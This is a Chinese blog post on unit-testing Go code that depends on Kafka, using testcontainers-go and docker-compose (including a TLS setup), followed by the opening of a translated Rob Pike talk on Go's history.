我们使用segmentio/kafka-go这个客户端来实现kafka的读写。关于如何使用segmentio/kafka-go这个客户端，可以参考我之前写的《Go社区主流Kafka客户端简要对比》。\n这里我们在TestProducerAndConsumer这个用例中，先通过testcontainers-go的kafka.RunContainer启动一个Kakfa实例，然后创建了一个topic: “test-topic”。我们在写入消息前也可以不单独创建这个“test-topic”，Kafka默认启用topic自动创建，并且segmentio/kafka-go的高级API：Writer也支持AllowAutoTopicCreation的设置。不过topic的创建需要一些时间，如果要在首次写入消息时创建topic，此次写入可能会失败，需要retry。\n向topic写入一条消息(实际上是一个批量Message，包括四个key-value pair)后，我们调用ReadMessage从上述topic中读取消息，并将读取的消息与写入的消息做比较。\n注：近期发现kafka-go的一个可能导致内存暴涨的问题，在kafka ack返回延迟变大的时候，可能触发该问题。\n下面是执行该用例的输出结果：\n$ go test 2023/12/17 17:43:54 github.com/testcontainers/testcontainers-go - Connected to docker: Server Version: 24.0.7 API Version: 1.43 Operating System: CentOS Linux 7 (Core) Total Memory: 30984 MB Resolved Docker Host: unix:///var/run/docker.sock Resolved Docker Socket Path: /var/run/docker.sock Test SessionID: f76fe611c753aa4ef1456285503b0935a29795e7c0fab2ea2588029929215a08 Test ProcessID: 27f531ee-9b5f-4e4f-b5f0-468143871004 2023/12/17 17:43:54 Creating container for image docker.io/testcontainers/ryuk:0.5.1 2023/12/17 17:43:54 Container created: 577309098f4c 2023/12/17 17:43:54 Starting container: 577309098f4c 2023/12/17 17:43:54 Container started: 577309098f4c 2023/12/17 17:43:54 Waiting for container id 577309098f4c image: docker.io/testcontainers/ryuk:0.5.1. Waiting for: \u0026amp;{Port:8080/tcp timeout:\u0026lt;nil\u0026gt; PollInterval:100ms} 2023/12/17 17:43:54 Creating container for image confluentinc/confluent-local:7.5.0 2023/12/17 17:43:55 Container created: 1ee11e11742b 2023/12/17 17:43:55 Starting container: 1ee11e11742b 2023/12/17 17:43:55 Container started: 1ee11e11742b 2023/12/17 17:44:15 Terminating container: 1ee11e11742b 2023/12/17 17:44:15 Container terminated: 1ee11e11742b PASS ok demo 21.505s 我们看到默认情况下，testcontainer能满足与kafka交互的基本需求，并且testcontainer提供了一系列Option(WithXXX)可以对container进行定制，以满足一些扩展性的要求，但是这需要你对testcontainer提供的API有更全面的了解。\n除了开箱即用的testcontainer之外，我们还可以使用另外一种方便的基于容器的技术：docker-compose来定制和启停我们需要的kafka image。接下来，我们就来看看如何使用docker-compose建立fake kafka object。\n3. 使用docker-compose建立fake kafka 3.1 一个基础的基于docker-compose的fake kafka实例模板 这次我们使用bitnami提供的kafka镜像，我们先建立一个“等价”于上面“testcontainers-go”提供的kafka module的kafka实例，下面是docker-compose.yml：\n// docker-compose/bitnami/plaintext/docker-compose.yml version: \u0026quot;2\u0026quot; services: kafka: image: docker.io/bitnami/kafka:3.6 network_mode: \u0026quot;host\u0026quot; volumes: - \u0026quot;kafka_data:/bitnami\u0026quot; environment: # KRaft settings - KAFKA_CFG_NODE_ID=0 - KAFKA_CFG_PROCESS_ROLES=controller,broker - KAFKA_CFG_CONTROLLER_QUORUM_VOTERS=0@localhost:9093 # Listeners - KAFKA_CFG_LISTENERS=PLAINTEXT://:9092,CONTROLLER://:9093 - KAFKA_CFG_ADVERTISED_LISTENERS=PLAINTEXT://:9092 - KAFKA_CFG_LISTENER_SECURITY_PROTOCOL_MAP=CONTROLLER:PLAINTEXT,PLAINTEXT:PLAINTEXT - KAFKA_CFG_CONTROLLER_LISTENER_NAMES=CONTROLLER - KAFKA_CFG_INTER_BROKER_LISTENER_NAME=PLAINTEXT # borrow from testcontainer - KAFKA_CFG_BROKER_ID=0 - KAFKA_CFG_OFFSETS_TOPIC_REPLICATION_FACTOR=1 - KAFKA_CFG_OFFSETS_TOPIC_NUM_PARTITIONS=1 - KAFKA_CFG_TRANSACTION_STATE_LOG_MIN_ISR=1 - KAFKA_CFG_GROUP_INITIAL_REBALANCE_DELAY_MS=0 - KAFKA_CFG_LOG_FLUSH_INTERVAL_MESSAGES=9223372036854775807 volumes: kafka_data: driver: local 我们看到其中一些配置“借鉴”了testcontainers-go的kafka module，我们启动一下该容器：\n$ docker-compose up -d [+] Running 2/2 ✔ Volume \u0026quot;plaintext_kafka_data\u0026quot; Created 0.0s ✔ Container plaintext-kafka-1 Started 0.1s 依赖该容器的go测试代码与前面的TestProducerAndConsumer差不多，只是在开始处去掉了container的创建过程：\n// docker-compose/bitnami/plaintext/kafka_test.go func TestProducerAndConsumer(t *testing.T) { brokers := []string{\u0026quot;localhost:9092\u0026quot;} topic := \u0026quot;test-topic\u0026quot; w := newWriter(brokers, topic) defer w.Close() r := newReader(brokers, topic) defer r.Close() err := createTopics(brokers, topic) if err != nil { t.Fatalf(\u0026quot;want nil, actual %v\\n\u0026quot;, err) } time.Sleep(5 * time.Second) ... ... } 运行该测试用例，我们看到预期的结果：\ngo test write message ok Value-A write message ok Value-B write message ok Value-C write message ok Value-D! PASS ok demo 15.143s 不过对于单元测试来说，显然我们不能手动来启动和停止kafka container，我们需要为每个用例填上setup和teardown，这样也能保证用例间的相互隔离，于是我们增加了一个docker_compose_helper.go文件，在这个文件中我们提供了一些帮助testcase启停kafka的helper函数：\n// docker-compose/bitnami/plaintext/docker_compose_helper.go package main import ( \u0026quot;fmt\u0026quot; \u0026quot;os/exec\u0026quot; \u0026quot;strings\u0026quot; \u0026quot;time\u0026quot; ) // helpler function for operating docker container through docker-compose command const ( defaultCmd = \u0026quot;docker-compose\u0026quot; defaultCfgFile = \u0026quot;docker-compose.yml\u0026quot; ) func execCliCommand(cmd string, opts ...string) ([]byte, error) { cmds := cmd + \u0026quot; \u0026quot; + strings.Join(opts, \u0026quot; \u0026quot;) fmt.Println(\u0026quot;exec command:\u0026quot;, cmds) return exec.Command(cmd, opts...).CombinedOutput() } func execDockerComposeCommand(cmd string, cfgFile string, opts ...string) ([]byte, error) { var allOpts = []string{\u0026quot;-f\u0026quot;, cfgFile} allOpts = append(allOpts, opts...) return execCliCommand(cmd, allOpts...) } func UpKakfa(composeCfgFile string) ([]byte, error) { b, err := execDockerComposeCommand(defaultCmd, composeCfgFile, \u0026quot;up\u0026quot;, \u0026quot;-d\u0026quot;) if err != nil { return nil, err } time.Sleep(10 * time.Second) return b, nil } func UpDefaultKakfa() ([]byte, error) { return UpKakfa(defaultCfgFile) } func DownKakfa(composeCfgFile string) ([]byte, error) { b, err := execDockerComposeCommand(defaultCmd, composeCfgFile, \u0026quot;down\u0026quot;, \u0026quot;-v\u0026quot;) if err != nil { return nil, err } time.Sleep(10 * time.Second) return b, nil } func DownDefaultKakfa() ([]byte, error) { return DownKakfa(defaultCfgFile) } 眼尖的童鞋可能看到：在UpKakfa和DownKafka函数中我们使用了硬编码的“time.Sleep”来等待10s，通常在镜像已经pull到本地后这是有效的，但却不是最精确地等待方式，testcontainers-go/wait中提供了等待容器内程序启动完毕的多种策略，如果你想用更精确的等待方式，可以了解一下wait包。\n基于helper函数，我们改造一下TestProducerAndConsumer用例：\n// docker-compose/bitnami/plaintext/kafka_test.go func TestProducerAndConsumer(t *testing.T) { _, err := UpDefaultKakfa() if err != nil { t.Fatalf(\u0026quot;want nil, actual %v\\n\u0026quot;, err) } t.Cleanup(func() { DownDefaultKakfa() }) ... ... } 我们在用例开始处通过UpDefaultKakfa使用docker-compose将kafka实例启动起来，然后注册了Cleanup函数，用于在test case执行结束后销毁kafka实例。\n下面是新版用例的执行结果：\n$ go test exec command: docker-compose -f docker-compose.yml up -d write message ok Value-A write message ok Value-B write message ok Value-C write message ok Value-D! exec command: docker-compose -f docker-compose.yml down -v PASS ok demo 36.402s 使用docker-compose的最大好处就是可以通过docker-compose.yml文件对要fake的object进行灵活的定制，这种定制与testcontainers-go的差别就是你无需去研究testcontiners-go的API。\n下面是使用tls连接与kafka建立连接并实现读写的示例。\n3.2 建立一个基于TLS连接的fake kafka实例 Kafka的配置复杂是有目共睹的，为了建立一个基于TLS连接，我也是花了不少时间做“试验”，尤其是listeners以及证书的配置，不下点苦功夫读文档还真是配不出来。\n下面是一个基于bitnami/kafka镜像配置出来的基于TLS安全通道上的kafka实例：\n// docker-compose/bitnami/tls/docker-compose.yml # config doc: https://github.com/bitnami/containers/blob/main/bitnami/kafka/README.md version: \u0026quot;2\u0026quot; services: kafka: image: docker.io/bitnami/kafka:3.6 network_mode: \u0026quot;host\u0026quot; #ports: #- \u0026quot;9092:9092\u0026quot; environment: # KRaft settings - KAFKA_CFG_NODE_ID=0 - KAFKA_CFG_PROCESS_ROLES=controller,broker - KAFKA_CFG_CONTROLLER_QUORUM_VOTERS=0@localhost:9094 # Listeners - KAFKA_CFG_LISTENERS=PLAINTEXT://:9092,SECURED://:9093,CONTROLLER://:9094 - KAFKA_CFG_ADVERTISED_LISTENERS=SECURED://:9093 - KAFKA_CFG_LISTENER_SECURITY_PROTOCOL_MAP=CONTROLLER:PLAINTEXT,SECURED:SSL,PLAINTEXT:PLAINTEXT - KAFKA_CFG_CONTROLLER_LISTENER_NAMES=CONTROLLER - KAFKA_CFG_INTER_BROKER_LISTENER_NAME=SECURED # SSL settings - KAFKA_TLS_TYPE=PEM - KAFKA_TLS_CLIENT_AUTH=none - KAFKA_CFG_SSL_ENDPOINT_IDENTIFICATION_ALGORITHM= # borrow from testcontainer - KAFKA_CFG_BROKER_ID=0 - KAFKA_CFG_OFFSETS_TOPIC_REPLICATION_FACTOR=1 - KAFKA_CFG_OFFSETS_TOPIC_NUM_PARTITIONS=1 - KAFKA_CFG_TRANSACTION_STATE_LOG_MIN_ISR=1 - KAFKA_CFG_GROUP_INITIAL_REBALANCE_DELAY_MS=0 - KAFKA_CFG_LOG_FLUSH_INTERVAL_MESSAGES=9223372036854775807 volumes: # server.cert, server.key and ca.crt - \u0026quot;kafka_data:/bitnami\u0026quot; - \u0026quot;./kafka.keystore.pem:/opt/bitnami/kafka/config/certs/kafka.keystore.pem:ro\u0026quot; - \u0026quot;./kafka.keystore.key:/opt/bitnami/kafka/config/certs/kafka.keystore.key:ro\u0026quot; - \u0026quot;./kafka.truststore.pem:/opt/bitnami/kafka/config/certs/kafka.truststore.pem:ro\u0026quot; volumes: kafka_data: driver: local 这里我们使用pem格式的证书和key，在上面配置中，volumes下面挂载的kafka.keystore.pem、kafka.keystore.key和kafka.truststore.pem分别对应了以前在Go中常用的名字：server-cert.pem(服务端证书), server-key.pem(服务端私钥)和ca-cert.pem(CA证书)。\n这里整理了一个一键生成的脚本docker-compose/bitnami/tls/kafka-generate-cert.sh，我们执行该脚本生成所有需要的证书并放到指定位置(遇到命令行提示，只需要一路回车即可)：\n$bash kafka-generate-cert.sh .........++++++ .............................++++++ You are about to be asked to enter information that will be incorporated into your certificate request. What you are about to enter is what is called a Distinguished Name or a DN. There are quite a few fields but you can leave some blank For some fields there will be a default value, If you enter '.', the field will be left blank. ----- Country Name (2 letter code) [XX]: State or Province Name (full name) []: Locality Name (eg, city) [Default City]: Organization Name (eg, company) [Default Company Ltd]: Organizational Unit Name (eg, section) []: Common Name (eg, your name or your server's hostname) []: Email Address []: Please enter the following 'extra' attributes to be sent with your certificate request A challenge password []: An optional company name []: Signature ok subject=/C=XX/L=Default City/O=Default Company Ltd Getting Private key .....................++++++ .........++++++ You are about to be asked to enter information that will be incorporated into your certificate request. What you are about to enter is what is called a Distinguished Name or a DN. There are quite a few fields but you can leave some blank For some fields there will be a default value, If you enter '.', the field will be left blank. ----- Country Name (2 letter code) [XX]: State or Province Name (full name) []: Locality Name (eg, city) [Default City]: Organization Name (eg, company) [Default Company Ltd]: Organizational Unit Name (eg, section) []: Common Name (eg, your name or your server's hostname) []: Email Address []: Please enter the following 'extra' attributes to be sent with your certificate request A challenge password []: An optional company name []: Signature ok subject=/C=XX/L=Default City/O=Default Company Ltd Getting CA Private Key 接下来，我们来改造用例，使之支持以tls方式建立到kakfa的连接：\n//docker-compose/bitnami/tls/kafka_test.go func createTopics(brokers []string, tlsConfig *tls.Config, topics ...string) error { dialer := \u0026amp;kc.Dialer{ Timeout: 10 * time.Second, DualStack: true, TLS: tlsConfig, } conn, err := dialer.DialContext(context.Background(), \u0026quot;tcp\u0026quot;, brokers[0]) if err != nil { fmt.Println(\u0026quot;creating topic: dialer dial error:\u0026quot;, err) return err } defer conn.Close() fmt.Println(\u0026quot;creating topic: dialer dial ok\u0026quot;) ... ... } func newWriter(brokers []string, tlsConfig *tls.Config, topic string) *kc.Writer { w := \u0026amp;kc.Writer{ Addr: kc.TCP(brokers...), Topic: topic, Balancer: \u0026amp;kc.LeastBytes{}, AllowAutoTopicCreation: true, Async: true, //RequiredAcks: 0, Completion: func(messages []kc.Message, err error) { for _, message := range messages { if err != nil { fmt.Println(\u0026quot;write message fail\u0026quot;, err) } else { fmt.Println(\u0026quot;write message ok\u0026quot;, string(message.Topic), string(message.Value)) } } }, } if tlsConfig != nil { w.Transport = \u0026amp;kc.Transport{ TLS: tlsConfig, } } return w } func newReader(brokers []string, tlsConfig *tls.Config, topic string) *kc.Reader { dialer := \u0026amp;kc.Dialer{ Timeout: 10 * time.Second, DualStack: true, TLS: tlsConfig, } return kc.NewReader(kc.ReaderConfig{ Dialer: dialer, Brokers: brokers, Topic: topic, GroupID: \u0026quot;test-group\u0026quot;, MaxBytes: 10e6, // 10MB }) } func TestProducerAndConsumer(t *testing.T) { var err error _, err = UpDefaultKakfa() if err != nil { t.Fatalf(\u0026quot;want nil, actual %v\\n\u0026quot;, err) } t.Cleanup(func() { DownDefaultKakfa() }) brokers := []string{\u0026quot;localhost:9093\u0026quot;} topic := \u0026quot;test-topic\u0026quot; tlsConfig, _ := newTLSConfig() w := newWriter(brokers, tlsConfig, topic) defer w.Close() r := newReader(brokers, tlsConfig, topic) defer r.Close() err = createTopics(brokers, tlsConfig, topic) if err != nil { fmt.Printf(\u0026quot;create topic error: %v, but it may not affect the later action, just ignore it\\n\u0026quot;, err) } time.Sleep(5 * time.Second) ... ... } func newTLSConfig() (*tls.Config, error) { /* // 加载 CA 证书 caCert, err := ioutil.ReadFile(\u0026quot;/path/to/ca.crt\u0026quot;) if err != nil { return nil, err } // 加载客户端证书和私钥 cert, err := tls.LoadX509KeyPair(\u0026quot;/path/to/client.crt\u0026quot;, \u0026quot;/path/to/client.key\u0026quot;) if err != nil { return nil, err } // 创建 CertPool 并添加 CA 证书 caCertPool := x509.NewCertPool() caCertPool.AppendCertsFromPEM(caCert) */ // 创建并返回 TLS 配置 return \u0026amp;tls.Config{ //RootCAs: caCertPool, //Certificates: []tls.Certificate{cert}, InsecureSkipVerify: true, }, nil } 在上述代码中，我们按照segmentio/kafka-go为createTopics、newWriter和newReader都加上了tls.Config参数，此外在测试用例中，我们用newTLSConfig创建一个tls.Config的实例，在这里我们一切简化处理，采用InsecureSkipVerify=true的方式与kafka broker服务端进行握手，既不验证服务端证书，也不做双向认证(mutual TLS)。\n下面是修改代码后的测试用例执行结果：\n$ go test exec command: docker-compose -f docker-compose.yml up -d creating topic: dialer dial ok creating topic: get controller ok creating topic: dial control listener ok create topic error: EOF, but it may not affect the later action, just ignore it write message error: [3] Unknown Topic Or Partition: the request is for a topic or partition that does not exist on this broker write message ok Value-A write message ok Value-B write message ok Value-C write message ok Value-D! exec command: docker-compose -f docker-compose.yml down -v PASS ok demo 38.473s 这里我们看到：createTopics虽然连接kafka的各个listener都ok，但调用topic创建时，返回EOF，但这的确不影响后续action的执行，不确定这是segmentio/kafka-go的问题，还是kafka实例的问题。另外首次写入消息时，也因为topic或partition未建立而失败，retry后消息正常写入。\n通过这个例子我们看到，基于docker-compose建立fake object有着更广泛的灵活性，如果做好容器启动和停止的精准wait机制的话，我可能会更多选择这种方式。\n4. 小结 本文介绍了如何在Go编程中进行依赖Kafka的单元测试，并探讨了寻找适合的Kafka fake object的策略。\n对于Kafka这样的复杂系统来说，找到合适的fake object并不容易。因此，本文推荐使用容器作为fake object的策略，并分别介绍了使用testcontainers-go项目和使用docker-compose作为简化创建和清理基于容器的依赖项的工具。相对于刚刚加入testcontainers-go项目没多久的kafka module而言，使用docker-compose自定义fake object更加灵活一些。但无论哪种方法，开发人员都需要对kafka的配置有一个较为整体和深入的理解。\n文中主要聚焦使用testcontainers-go和docker-compose建立fake kafka的过程，而用例并没有建立明确的sut(被测目标)，比如针对某个函数的白盒单元测试。\n文本涉及的源码可以在这里下载。\n“Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2024年，Gopher部落将进一步聚焦于如何编写雅、地道、可读、可测试的Go代码，关注代码质量并深入理解Go核心技术，并继续加强与星友的互动。欢迎大家加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2024/01/08/go-unit-testing-deps-on-kafka/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-unit-testing-deps-on-kafka-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2024/01/08/go-unit-testing-deps-on-kafka\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2024/01/08/go-unit-testing-deps-on-kafka\"\u003ehttps://tonybai.com/2024/01/08/go-unit-testing-deps-on-kafka\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://kafka.apache.org/\"\u003eKafka\u003c/a\u003e是Apache基金会开源的一个分布式事件流处理平台，是Java阵营(最初为Scala)中的一款杀手级应用，其提供的高可靠性、高吞吐量和低延迟的数据传输能力，让其到目前为止依旧是现代企业级应用系统以及云原生应用系统中使用的重要中间件。\u003c/p\u003e\n\u003cp\u003e在日常开发Go程序时，我们经常会遇到一些\u003ca href=\"https://tonybai.com/2023/09/04/slog-in-action-file-logging-rotation-and-kafka-integration/\"\u003e依赖Kafka的代码\u003c/a\u003e，如何对这些代码进行测试，尤其是单测是摆在Go开发者前面的一个现实问题！\u003c/p\u003e\n\u003cp\u003e有人说用mock，是个路子。但看过我的《\u003ca href=\"https://tonybai.com/2023/04/20/provide-fake-object-for-external-collaborators/\"\u003e单测时尽量用fake object\u003c/a\u003e》一文的童鞋估计已经走在了寻找kafka fake object的路上了！Kafka虽好，但身形硕大，不那么灵巧。找到一个合适的fake object不容易。在这篇文章中，我们就来聊聊如何测试那些依赖kafka的代码，再往本质一点说，就是和大家以找找那些合适的kafka fake object。\u003c/p\u003e","title":"依赖Kafka的Go单元测试例解"},{"content":"\n本文永久链接 – https://tonybai.com/2024/01/07/what-we-got-right-what-we-got-wrong\n在《2023年Go语言盘点：稳中求新，稳中求变》和《Go测试的20个实用建议》两篇文章中，我都提到过已经退居二线的Go语言之父Rob Pike在Go开源14周年的那天亲自在GopherCon Australia 2023上发表了“What We Got Right, What We Got Wrong”的主题演讲来回顾Go诞生以来的得与失。近期Rob Pike终于将这次演进的文字稿发布了出来！GopherCon Australia也在油管上发布了这个演进的视频。Rob Pike的观点对所有Gopher都是极具参考价值的，因此在这篇博文中，我将Rob Pike的这次演讲稿翻译成中文，供大家参考(结合文字稿和视频)，我们一起来领略和学习大师的观点。\n这是2023年11月10日我在悉尼GopherConAU 2023会议上的闭幕演讲（视频），那一天也是Go开源14周年的日子。本文中穿插着演示文稿中使用的幻灯片。\n介绍 大家好！\n首先，我要感谢Katie和Chewy让我有幸为此次GopherConAU大会做闭幕演讲。\n2009年11月10日\n今天是2023年11月10日，Go作为开源项目推出14周年的纪念日。\n2009年11月10日那天，加州时间下午3点（如果没记错的话），Ken Thompson、Robert Griesemer、Russ Cox、Ian Taylor、Adam Langley、Jini Kim和我满怀期待地看着网站上线。之后，全世界都知道我们在做什么了。\n14年后的今天，有很多事情值得回顾。我想借此机会谈谈自那一天以来学到的一些重要经验。即使是最成功的项目，在反思之后，也会发现一些事情本可以做得更好。当然，也有一些事情事后看来似乎是成功的关键所在。\n首先，我必须明确的是，这里的观点只代表我个人，不代表Go团队和Google。无论是过去还是现在，Go都是由一支专注的团队和庞大的社区付出巨大努力的结果。所以，如果你同意我的任何说法，请感谢他们。如果你不同意，请责怪我，但请保留你的意见。\n鉴于本次演讲的题目，许多人可能期待我会分析语言中的优点和缺点。当然，我会做一些分析，但还会有更多内容，原因有几个。\n首先，编程语言的好坏很大程度上取决于观点而不是事实，尽管许多人对Go或任何其他语言的最微不足道的功能都存在争论。\n另外，关于换行符的位置、nil的工作方式、导出的大小写表示法、垃圾回收、错误处理等话题已经有了大量的讨论。这些话题肯定有值得讨论的地方，但几乎没什么是还没有被讨论过的。\n但我要讨论的不仅仅是语言本身的真正原因是，语言并不是整个项目的全部。我们最初的目标不是创造一种新的编程语言，而是创造一种更好的编写软件的方式。我们对所使用的语言有意见——无论使用什么语言，每个人都是如此——但是我们遇到的基本问题与这些语言的特性没有太大关系，而是与在谷歌使用这些语言构建软件的过程有关。\nT恤上的第一只Gopher\n新语言的创建提供了探索其他想法的新路径，但这只是一个推动因素，而不是真正的重点。如果当时我正在工作的二进制文件不需要45分钟来构建\n，Go语言就不会出现。但那45分钟不是因为编译器慢(因为它不慢)，也不是因为它所用的语言不好(因为它也不差)。缓慢是由其他因素造成的。\n我们想解决的就是这些因素：构建现代服务器软件的复杂性：控制依赖性、与人员不断变化的大型团队一起编程、可维护性、高效测试、多核CPU和网络的有效利用等等。\n简而言之，Go不仅仅是一种编程语言。当然，它是一种编程语言，这是它的定义。但它的目的是帮助提供一种更好的方式来开发高质量的软件，至少与14多年前的我们的环境相比。\n时至今日，这仍然是它的宗旨。Go是一个使构建生产软件更容易、更高效的项目。\n几周前，当我开始准备这次演讲时，我只有一个题目，除此之外别无其他。为了激发我的思路，我在Mastodon上向人们征求意见。不少人给予了回复。我注意到了一种趋势：人们认为我们做错的事情都在语言本身，而我们做对的事情都在语言周边，比如gofmt、部署和测试等。事实上，我觉得这令人鼓舞。我们试图做的事情似乎已经产生了效果。\n但值得承认的是，我们在早期并没有明确真正的目标。我们可能觉得这些目标是不言自明的。为了弥补这一缺陷，我在2013年的SPLASH会议上发表了一场题为《谷歌的Go语言：面向软件工程的语言设计》的演讲。\nGo at Google\n那场演讲和相关的博客文章可能是对Go语言为何而生的最好诠释。\n今天的演讲是SPLASH演讲的后续，回顾了我们在构建语言之后所学到的经验教训，并且可以更广泛地应用于更大的图景。\n那么……来谈谈一些教训。\n首先，当然，我们有：\nThe Gopher 以Go Gopher吉祥物开始可能看起来是一个奇怪的起点，但Go gopher是Go成功的最早因素之一。在发布Go之前，我们就知道我们想要一个吉祥物来装饰周边商品——每个项目都需要周边商品——Renee French主动提出为我们制作一个这样的吉祥物。在这一点上，我们做得非常正确。\n下面最早的Gopher毛绒玩具的图片：\nThe Gopher\n这是Gopher的照片，它的第一个原型不太成功。\nGopher和它进化程度较低的祖先\nGopher是一个吉祥物，它也是荣誉徽章，甚至是世界各地Go程序员的身份标志。此时此刻，你正在参加一个名为GopherCon的会议，这是众多GopherCon会议中的一个。拥有一个从第一天就准备好分享信息的容易识别、有趣的生物，对Go的成长至关重要。它天真又聪明——它可以构建任何东西!\nGopher建造机器人（Renee French 绘图）\n它为社区参与该项目奠定了基调，这是卓越的技术与真正的乐趣相结合的基调。最重要的是，Gopher是社区的一面旗帜，一面团结起来的旗帜，尤其是在早期，当Go还是编程界的新贵时。\n这是几年前Gopher参加巴黎会议的照片，看看他们多兴奋！\n巴黎的Gopher观众（Brad Fitzpatrick摄）\n尽管如此，在知识共享署名许可(Creative Commons Attribution license)下发布Gopher的设计也许不是最好的选择。一方面，它鼓励人们以有趣的方式重新组合他，这反过来又有助于培养社区精神。\nGopher model sheet\nRenee创建了一个“模型表”来帮助艺术家在保持其精神原貌的同时进行艺术创作。\n一些艺术家利用这些特征制作了自己版本的Gopher并获得了乐趣；Renee和我最喜欢的版本是日本设计师@tottie的和游戏程序员@tenntennen的：\n@tottie的Gopher\n@tenntennen 的gopher\n但许可证的“归属”部分常常会导致令人沮丧的争论，或者导致Renee的创作不属于她，也不符合原作的精神。而且，说实话，这种归属往往只是不情愿地得到尊重，或者根本没有得到尊重。例如，我怀疑@tenntennen是否因他的Gopher插图被使用而获得补偿或是得到承认。\ngophervans.com: Boo!\n因此，如果让我们重来一次，我们会认真思考确保吉祥物忠于其理想的最佳方法。维护吉祥物是一件很难的事，而且解决方案仍然难以捉摸。\n但更多的是技术性的事情。\n做的对的事情 这里有一份我认为我们在客观上做对了的事情的清单，特别是在回顾的时候。并不是每一个编程语言项目都做了这些事情，但清单中的每一件对Go的最终成功都至关重要。我会试着言简意赅，因为这些话题都已为人所熟知。\n1. 语言规范(Specification) 我们从正式的语言规范开始。这不仅可以在编写编译器时锁定行为，还可以使多个编译器实现共存并就该行为达成一致。编译器本身并不是一个规范。你测试编译器的依据是什么？\nWeb上的Go语言规范\n哦，顺便说一句，该规范的初稿是在这里编写的，位于悉尼达令港一栋建筑的18层。我们正在Go的家乡庆祝Go的生日。\n2. 多种实现 Go有多个编译器实现，它们都实现相同的语言规范。有了规范就可以更容易地实现这一点。\n有一天，伊恩·泰勒（Ian Taylor）发邮件通知我们，在阅读了我们的语言规范草案后，他自己编写了一个编译器，这让我们感到惊讶！\nSubject: A gcc frontend for Go From: Ian Lance Taylor Date: Sat, Jun 7, 2008 at 7:06 PM To: Robert Griesemer, Rob Pike, Ken Thompson One of my office-mates pointed me at http://.../go_lang.html . It seems like an interesting language, and I threw together a gcc frontend for it. It's missing a lot of features, of course, but it does compile the prime sieve code on the web page. 这的确令人兴奋，但更多的编译器实现也随之而来了，所有这些都因正式规范的存在而成为可能。\n很多编译器\n拥有多个编译器帮助我们改进了语言并完善了规范，并为那些不太喜欢我们类似Plan-9的业务方式的其他人提供了替代环境。稍后会详细介绍。如今有很多兼容的实现，这很棒！\n3. 可移植性 我们使Go应用的交叉编译变得轻而易举，程序员可以在他们喜欢的任何平台上工作，并交付到任何需要的平台。使用Go可能比使用任何其他语言更容易达成这一点。很容易将编译器视为运行它的机器的本地编译器，但没有理由这么认为。打破这个假设具有重要意义，这对许多开发者来说都是新鲜事。\n可移植性\n4. 兼容性 我们努力使语言达到1.0版本的标准，然后通过兼容性保证将其固定下来，这对Go的采用产生了非常明显的影响！我不理解为什么大多数其他项目一直在抵制这样做。是的，保持强大兼容性的确需要付出成本，但它可以阻止功能特性停滞，而在这个几乎没有其他东西保持稳定的世界里，不必担心新版本的Go会破坏你的项目，这足以令人感到欣喜！\nGo兼容性承诺\n5. 标准库 尽管它的增长在某种程度上是偶然的，因为在一开始没有其他地方可以安装Go代码，但拥有一个坚实、制作精良的标准库，其中包含编写21世纪服务器代码所需的大部分内容，这是一个重大资产。在我们积累了足够的经验来理解还应该提供什么之前，它使整个社区都使用相同的工具包。这非常有效，并有助于防止出现不同版本的库，从而帮助统一社区。\n标准库\n6. 工具 我们确保该语言易于解析，从而支持工具构建。起初我们认为Go需要一个IDE，但易于构建工具意味着，随着时间的推移，IDE将会出现在Go上。他们和gopls一起做到了，而且他们非常棒。\n工具\n我们还为编译器提供了一套辅助工具，例如自动化测试、覆盖率和代码审查(code vetting)。当然还有go命令，它集成了整个构建过程，也是许多项目构建和维护其Go代码所需的一切。\n快速构建\n此外，Go获得了快速构建的声誉，这也没有什么坏处。\n7. Gofmt 我将gofmt作为一个单独的项目从工具中拿出来，因为它是一个不仅在Go上而且在整个编程社区上留下了印记的工具。在Robert编写gofmt之前（顺便说一句，他从一开始就坚持这样做），自动格式化程序的质量不高，因此大多未被使用。\ngofmt谚语\ngofmt的成功表明了代码自动格式化可以做得很好，今天几乎每种值得使用的编程语言都有一个标准格式化程序。我们不再为空格和换行符争论，这节省了大量时间了，这也让那些花在定义标准格式和编写这段相当困难的代码实现格式自动化上的时间显得超值。\n此外，gofmt还使无数其他工具成为可能，例如简化器、分析器甚至是代码覆盖率工具。因为gofmt的内容成为了任何人都可以使用的库，所以你可以解析程序、编辑AST，然后打印完美的字节输出，供人类和机器使用。\n谢谢，罗伯特。\n不过，恭喜你就够了。接下来，我们来谈谈一些更有争议的话题。\n并发性 并发有争议吗？嗯，在我2002年加入谷歌的那年肯定有。John Ousterhout曾说过：线程很糟糕。许多人都同意他的观点，因为线程似乎非常难以使用。\nJohn 